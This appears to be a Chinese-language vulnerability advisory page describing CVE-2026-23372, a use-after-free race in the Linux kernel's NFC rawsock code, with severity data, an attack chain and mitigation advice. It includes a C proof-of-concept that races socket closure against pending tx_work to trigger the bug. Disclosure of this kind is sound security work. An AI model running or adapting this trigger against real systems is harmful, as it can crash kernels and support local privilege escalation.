IPBUF安全漏洞报告
English
CVE-2026-23372 CVSS 7.8 高危

CVE-2026-23372 Linux内核NFC rawsock释放后使用漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23372
漏洞类型
释放后使用
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux内核释放后使用本地提权NFC竞态条件

漏洞概述

Linux内核NFC rawsock组件中存在一处高危安全漏洞。该漏洞源于rawsock_release函数在释放套接字前未能正确取消挂起的tx_work并清理写队列。当进程被异常终止时,tx_work与套接字及设备拆除之间产生竞态条件,攻击者可利用此漏洞触发释放后使用错误或引用泄露,进而导致系统崩溃或潜在的权限提升。

技术细节

该漏洞根植于Linux内核NFC子系统的rawsock模块中。其核心问题在于rawsock_release()函数在处理套接字关闭时,未对异步任务进行有效的同步管理。tx_work任务挂载在系统工作队列上,负责调用nfc_data_exchange()函数处理数据交换,该操作涉及对NCI设备指针的解引用。在缺乏同步锁保护的情况下,当用户进程被强制杀死(如收到SIGKILL信号)触发socket释放流程时,如果tx_work尚未被取消,它将继续运行并尝试访问可能已被释放的套接字或NCI设备结构体。这种竞态条件导致了典型的释放后使用(UAF)漏洞。成功利用此漏洞的本地攻击者,可利用悬垂指针执行任意代码,造成内核崩溃或获取更高权限。

攻击链分析

STEP 1
步骤1
本地攻击者获取Linux系统的低权限访问权限。
STEP 2
步骤2
攻击者创建NFC raw socket,并持续发送数据以调度tx_work任务到系统工作队列。
STEP 3
步骤3
攻击者强制杀死进程或关闭socket,触发rawsock_release函数,此时与正在运行的tx_work产生竞态条件。
STEP 4
步骤4
tx_work尝试访问已释放的NCI设备或socket结构体,触发释放后使用(UAF),导致内核崩溃或执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-23372: Race condition in nfc: rawsock * This attempts to trigger the UAF by racing socket release with tx_work. * Compile: gcc -o poc_cve2026_23372 poc_cve2026_23372.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <sys/socket.h> #include <linux/nfc.h> #define NFC_SOCKPROTO_RAW 1 void *trigger_tx_work(void *arg) { int sock = *(int *)arg; char buffer[1024]; // Continuously writing to queue tx_work while (1) { send(sock, buffer, sizeof(buffer), 0); } return NULL; } int main() { int sock; pthread_t tid; // Create NFC raw socket sock = socket(AF_NFC, SOCK_RAW, NFC_SOCKPROTO_RAW); if (sock < 0) { perror("socket"); return 1; } printf("Starting PoC for CVE-2026-23372...\n"); // Start thread to flood the socket and schedule tx_work pthread_create(&tid, NULL, trigger_tx_work, &sock); // Wait briefly then kill self or close socket to trigger race // Adjusting this timing may be necessary to hit the race condition usleep(50000); // Simulate process kill or aggressive close // In a real exploit, precise synchronization is critical close(sock); return 0; }

影响范围

Linux Kernel < 修复版本

防御指南

临时缓解措施
建议用户限制对NFC设备的访问权限,或禁用NFC内核模块以避免受到攻击。同时,应尽快应用官方发布的内核补丁以修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表